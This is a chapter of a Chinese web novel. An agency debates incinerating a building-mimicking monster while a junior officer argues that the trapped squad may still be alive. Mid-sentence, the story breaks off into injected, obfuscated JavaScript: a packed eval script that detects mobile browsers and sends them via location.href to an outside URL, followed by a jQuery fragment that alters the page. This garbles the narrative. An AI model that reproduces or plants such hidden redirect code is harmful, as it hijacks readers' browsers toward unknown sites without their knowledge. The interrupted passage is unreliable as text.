IFBPI总部，指挥中心的气氛凝重。


    大屏幕中央是“锈刃”小队最后消失区域的俯瞰图，旁边并列显示着李二狗传回的、那栋“楼”站起时的模糊影像，以及白小飞异能生效、怪物陷入茫然的短暂瞬间。另一块屏幕上，则滚动着王德发从第二小组生物资料库中紧急调取、比对后汇总的分析报告，还有李二狗探测器捕捉到的、关于那个被临时命名为【高塔】的未知异种的初步生物活性数据。


    高塔，塔罗牌里最凶的一张牌。


    沈承欢站在屏幕前，身姿如标枪般挺直，猩红的眼眸盯着画面中那扭曲的建筑怪物，没有任何情绪波动，只有一片冰冷的杀意。他周身散发出的低气压让整个指挥中心的人都下意识地屏住了呼吸。


    “生物活性图谱显示异常高能量聚集，主要集中在模拟的‘楼体’中层及地下部分，”李二狗的声音通过通讯器传来，还有些惊魂未定的颤抖，但强迫自己保持专业，“能量反应模式不同于常规异兽的爆发性或周期性，更像是……缓慢的、持续的‘消化’过程。结合王德发那边查到的零星古早记录——关于旧时代传闻中‘会吃人的房子’的传说，以及黑暗世纪初期几起类似‘建筑吞噬’事件的残缺档案——可以推断，【高塔】的捕食方式很可能是将猎物困于其拟态的内部结构，然后通过某种生物质转换，将猎物缓慢分解、吸收，最终化为其本体的一部分，或作为能量储存。”


    王德发憨厚但同样严肃的声音也接了进来，背景音里还能听到翻动纸质档案和敲击键盘的声响：“额查到的资料也说，这东西‘消化’慢得很，可能要好几天。因为它主要成分还是石头水泥嘛，消化有机物的效率估计不高。所以……理论上，刚进去几个小时的‘锈刃’小队，如果没在最初的陷阱里死掉，现在可能……可能还活着。”


    “活着”这两个字，像一颗投入死水中的石子，在指挥中心漾开微澜。


    这意味着，如果立刻采取最高效的歼灭手段——比如沈承欢的「黑炎」——确实可以一劳永逸地消灭【高塔】，但同时也将彻底断绝“锈刃”小队本就渺茫的生还希望。


    涂山溟溟坐在一旁的轮椅上，琉璃金的眼眸快速扫过所有数据，苍白的手指在扶手上轻轻敲击，发出规律的轻响。他咳嗽了两声，声音依旧带着病弱的清冷，却清晰无比：“【高塔】的拟态能力和智力水平超出预估。它能模仿不同建筑风格甚至内部细节，说明其感知和学习能力极强。其防御力惊人，常规物理和能量攻击效果有限。最重要的是，它会移动，且具有主动捕猎的习性。这意味着，如果不能一次性彻底解决，或者打草惊蛇让它逃逸，它将继续在废土上游荡，制造更多失踪事件，且变得更难追踪。”


    他的分析冰冷而客观，指向一个残酷但高效的结论：将其视为最高威胁目标，在最短的时间内，动用一切必要手段予以彻底毁灭，优先确保潜在威胁被消除，而非冒险进行成功率未知的营救。


    沈承欢微微颔首，显然赞同涂山溟溟的判断。他转过身，目光扫过指挥中心内所有人，最后定格在刚刚被紧急医疗处理过、脸色依旧苍白、鼻子里还塞着止血棉的白小飞身上。那目光没有询问，只有通知。


    “目标定性：S级威胁，游荡型拟态异种，代号【高塔】。”沈承欢的声音如同金属摩擦，不容置疑，“作战方案：由我进行远程‘黑炎’狙杀，最大限度避免其挣扎造成附带损害及逃逸可能。第五小组外围警戒，防止其分裂或释放未知子体。第四组持续监控能量反应，确保彻底净化。行动时间：30分钟准备后。”


    “烧”字诀。最直接，最彻底，也最无情。黑炎所到之处，寸草不生。


    命令清晰，逻辑严密，符合IFBPI处理超高威胁目标的一贯作风——以最小整体代价，换取最大安全系数。没有人提出异议，在沈承欢的威压和【高塔】展现出的恐怖面前，任何犹豫都显得软弱和不专业。


    白小飞低着头，看着自己还有些颤抖的双手。鼻腔里血腥味未散，脑子里还残留着那怪物茫然“张望”的画面，以及自己异能过度透支带来的、仿佛灵魂被抽空的虚脱感。他知道沈承欢和涂山溟溟是对的，最优解就是一把火烧个干净。


    可是……


    王德发那句“可能还活着”和李二狗描述的“缓慢消化”如同魔咒般在他脑海里盘旋。他想起了母亲日记里，对他“失踪”的担忧；想起了自己曾经也被整个世界“无视”，如同被困在无形墙壁里的感受；甚至莫名想起了涂山溟溟那双总是带着疏离和疲惫、却仍在坚持的眼神。


    “圣母病吗……”他在心里狠狠骂了自己一句。装什么英雄？明明自己怕得要死，刚才差点就尿裤子了！这种级别的怪物，是你能对付的吗？沈老大出手才是正道！


    然而，另一个声音却在尖叫：你的异能！它刚才“看不见”你！甚至“看不见”你罩住的车！


    如果……如果他能再靠近点


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17360925|199214||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，如果能将异能控制得更精细，如果能像渗透进环境一样渗透进那个怪物的“感知”里……是不是有可能，在不惊动它的情况下，找到被困的人，哪怕只是确认他们的生死？或者……救出一两个？


    这个念头疯狂而危险，成功率可能不到百分之一，可行性近乎异想天开。一旦失败，不仅自己会死，还可能惊动【高塔】，导致营救彻底无望，甚至引发更糟的后果。


    他的脖子僵硬地梗着，心脏在胸腔里擂鼓。理智和情感，恐惧和那一点点不合时宜的“希望”，在激烈交锋。


    就在沈承欢即将转身下达具体指令的刹那——


    “等等！”


    一个干涩、嘶哑，甚至因为紧张而变调的声音，突兀地在寂静的指挥中心响起。


    所有人，包括正在连接特殊通讯频道的叶知意，整理分析报告的许飘飘，以及所有参谋和操作员，都齐刷刷地转过头，目光聚焦在声音的来源——那个刚刚死里逃生、看起来虚弱不堪的初级执行官身上。


    沈承欢的动作停住了，他缓缓转回身，猩红的眼眸如同最精准的探照灯，锁定白小飞。那目光里没有怒意，只有一种纯粹的、审视的冰冷，仿佛在评估一个突然出现的不稳定因素。


    白小飞被这目光看得头皮发麻，腿肚子都在转筋，但他强迫自己抬起头，迎向沈承欢的视线，尽管声音依旧发颤，却努力把话说清楚：


    “沈组长……里面……里面可能还有人活着。”他咽了口唾沫，感觉喉咙干得像砂纸摩擦，“我的异能……刚才，它好像……‘看不见’我们。如果……如果我能控制得更好一点，靠近它，说不定……能试着找找看……或者，至少确认一下……”


    他的话越说越没底气，在沈承欢那毫无波澜的注视下，在周围所有人惊愕、不解、甚至带着一丝“这小子是不是吓傻了”的目光中，他的提议显得如此幼稚、鲁莽、且不负责任。


    白小飞的脸涨红了，恨不得给自己一巴掌。白小飞啊白小飞，你装什么大尾巴狼？！


    指挥中心一片死寂。


    只有涂山溟溟轻轻敲击扶手的声音，规律而清晰，仿佛在计算着某种概率。他琉璃金色的眼眸微微转动，落在白小飞苍白却倔强的脸上，又看了看屏幕上【高塔】那狰狞而诡异的影像，最终，目光与沈承欢的视线在空中短暂交汇。


    沉默，在蔓延。压力，如同实质般压在每个人心头，更压在白小飞几乎要崩溃的神经上。